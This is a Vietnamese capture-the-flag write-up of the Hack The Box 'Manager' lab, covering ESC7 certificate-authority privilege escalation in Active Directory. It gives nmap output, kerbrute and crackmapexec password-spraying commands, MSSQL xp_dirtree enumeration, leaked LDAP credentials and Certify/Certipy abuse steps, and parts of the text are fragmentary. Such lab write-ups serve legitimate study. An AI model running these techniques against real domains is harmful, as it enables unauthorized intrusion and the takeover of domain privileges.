Thông tin
Trong bài viết này sẽ làm rõ về kỹ thuật leo thang thông qua Vulnerable Certificate Authority Access Control - ESC7. Lab Manager được thiết lập máy chủ Windows trong môi trường Activate Directory với Active Directory Certificate Services (ADCS), máy chủ web và cơ sở dữ liệu SQL Server.Enumeration
Thêm ip vào /etc/hosts: 10.10.11.236 manager.htb Thực hiện scan với nmap: nmap -sC -sV -O 10.10.11.236Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-18 04:58 EDT
Nmap scan report for manager.htb (10.10.11.236)
Host is up (0.26s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Manager
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-18 15:59:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2024-03-18T16:00:49+00:00; +7h00m01s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2024-03-18T16:00:47+00:00; +7h00m01s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.11.236:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-18T15:40:22
|_Not valid after: 2054-03-18T15:40:22
| ms-sql-ntlm-info:
| 10.10.11.236:1433:
| Target_Name: MANAGER
| NetBIOS_Domain_Name: MANAGER
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: manager.htb
| DNS_Computer_Name: dc01.manager.htb
| DNS_Tree_Name: manager.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2024-03-18T16:00:49+00:00; +7h00m01s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2024-03-18T16:00:49+00:00; +7h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-18T16:00:47+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-03-18T16:00:08
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.85 seconds
Thông tin hữu ích tìm được:
- Port 88: Kerberos của DC
- Hệ thống đang chạy SMB
- ssl-cert: Subject: commonName=dc01.manager.htb: 10.10.11.236 là DC dc01.manager.htb và domain là manager.htb
- MSSQL port 1443
./kerbrute_linux_amd64 userenum -d manager.htb ../SecLists/Usernames/xato-net-10-million-usernames.txt --dc dc01.manager.htb

crackmapexec smb manager.htb -u ./lab_htb/user.txt -p ./lab_htb/user.txt
Tìm được tài khoản operator:operator




EXEC xp_dirtree 'C:\\', 1, 1;

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;



<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>raven@manager.htb</user>
<password>cur</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>
Truy cập thử vào tài khoản raven xem sao



Privilege Escalation
Certify là C# tool enumerate và abuse misconfigurations Active Directory Certificate Services (AD CS). Upload certify.exe vào máy raven và cố gắng scan xem có bị lỗ hổng về chứng chỉ hay không. Cách build như sau- Download source tại https://github.com/GhostPack/Certify?tab=readme-ov-file#compile-instructions
- Chạy với VS Code từ 2019 trở lên và release -> build



- Có quyền:
- Quản lý dịch vụ CA: Raven được phép quản lý dịch vụ CA.
- Đăng ký chứng chỉ: Raven có quyền yêu cầu và đăng ký chứng chỉ từ dịch vụ CA.
- Không có quyền:
- Đọc dịch vụ CA: Raven không được phép đọc thông tin về dịch vụ CA.
- Có quyền:
- Đăng ký chứng chỉ: Operator có quyền yêu cầu và đăng ký chứng chỉ từ dịch vụ CA.
- Không có quyền:
- Đọc dịch vụ CA: Operator không được phép đọc thông tin và quản lý về dịch vụ CA.



- Có quyền
ManageCA
Manage Certificates
được cấp phép (có thể được cấp từManageCA
)- Mẫu chứng chỉ
SubCA
phải được bật (thường thì mặc định đã có nhưng cũng có thể được bật từManageCA
)
$ certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
CA được sử dụng là manager-DC01-CA




-enable-template
.
Thực hiện yêu cầu chứng chỉ mẫu SubCA mặc dù bị từ chối do không đủ quyền nhưng vẫn có khoá riêng và id request được lưu lại. Chú ý lưu key vào thư mục có quyền ghi.





-retrieve


- Chứng chỉ PEM + khóa riêng PEM
- Chứng chỉ PFX (chứa khóa riêng) + mật khẩu PFX

ntpdate
để đồng bộ hóa thời gian giữa máy chủ Kerberos và máy khách. Lệnh này sẽ thực hiện một cuộc gọi đến máy chủ NTP (Network Time Protocol) để cập nhật thời gian hệ thống



Tổng kết
Vulnerable Certificate Authority Access Control - ESC7 mới chỉ là một phần trong các lỗ hổng về chứng chỉ. Việc thực hiện các lỗ hổng liên quan tới chứng chỉ và dịch vụ ADCS còn có nhiều vấn đề và kiến thức liên quan khác. Tham khảo: 777 lượt xem